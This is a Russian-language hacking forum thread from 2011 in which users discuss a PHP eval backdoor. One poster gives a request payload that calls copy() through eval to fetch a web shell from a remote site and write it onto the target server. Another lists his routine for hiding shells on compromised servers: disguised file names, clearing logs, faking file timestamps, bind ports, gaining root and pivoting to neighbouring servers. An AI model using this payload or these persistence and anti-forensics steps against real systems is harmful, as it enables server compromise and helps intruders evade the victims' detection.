Я бы на месте модератора РОА взял туда ТСа, что бы его посты не индексировались гуглом )

Jopashnik 14.12.2011 17:25

Цитата:

Сообщение от KolosJey
Я бы на месте модератора РОА взял туда ТСа, что бы его посты не индексировались гуглом )

а смысл??? Они же все знают и ток писать что это паблик инфа могут, тс это писал для тех кто плохо в этом шарит и кому это будет нужно, а им как раз это вроде как и нах не надо

Ну а так в целом я думаю тс шарит нормально и он думаю был бы не против

Osstudio 14.12.2011 17:47

Цитата:

Сообщение от KolosJey
::facepalm::
Открой для себя функции php. Начни со stripslashes().
Да фиг с ними с функциями, тайна: данные с реквеста php и так принимает строковыми, а если бы он делал по другому случилось бы страшное безобразие, поверь мне. (только никому!!)
Я бы на месте модератора РОА взял туда ТСа, что бы его посты не индексировались гуглом )

Согласен, тип string можно к примеру сделать так $a = (bla); , но ведь нельзя тогда использовать пробелы, спец.символы. что касается stripslashes() то какая разница, если пхп тупо выдаёт ошибку, если даже \' ??

А насчёт ::facepalm::, eval(eval) - на мой взгляд полный бред

KolosJey 14.12.2011 17:56

Цитата:

Сообщение от Osstudio
Согласен, тип string можно к примеру сделать так $a = (bla); , но ведь нельзя тогда использовать пробелы, спец.символы.

ev=copy($_REQUEST[aa], $_REQUEST[bb]);&aa=http://site.ru/shell.php&bb=./shell.php

Цитата:

Сообщение от Osstudio
что касается stripslashes() то какая разница, если пхп тупо выдаёт ошибку, если даже \' ??

PHP код:

[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"][/COLOR][/COLOR

Цитата:

Сообщение от Osstudio
А насчёт ::facepalm::, eval(eval) - на мой взгляд полный бред

А это тебе домашнее задание )

|qbz| 14.12.2011 18:17

ТС, скажи мне лучше как ты прячешь шеллы на сервере. Мне не для того, чтобы узнать, а просто интересно, что ты знаешь в данной области.

Osstudio 14.12.2011 18:39

Цитата:

Сообщение от |qbz|
ТС, скажи мне лучше как ты прячешь шеллы на сервере. Мне не для того, чтобы узнать, а просто интересно, что ты знаешь в данной области.

1.) Беспалевное имя

2.) Запрячу в самом дальнем каталоге, где много фалов.

3.) Почищу логи

4.) Изменю дату создания файла

5.) Заодно делаю бинд порт, если удалят, он часто остаётся.

6.) Да и много ещё чего придумать можно. Также сначала рутаю, затем кидаю на соседние сервера, чтобы потом с них пробиться можно было, на соседах также выполняю пункты выше.

P.S А ты?


Время: 01:00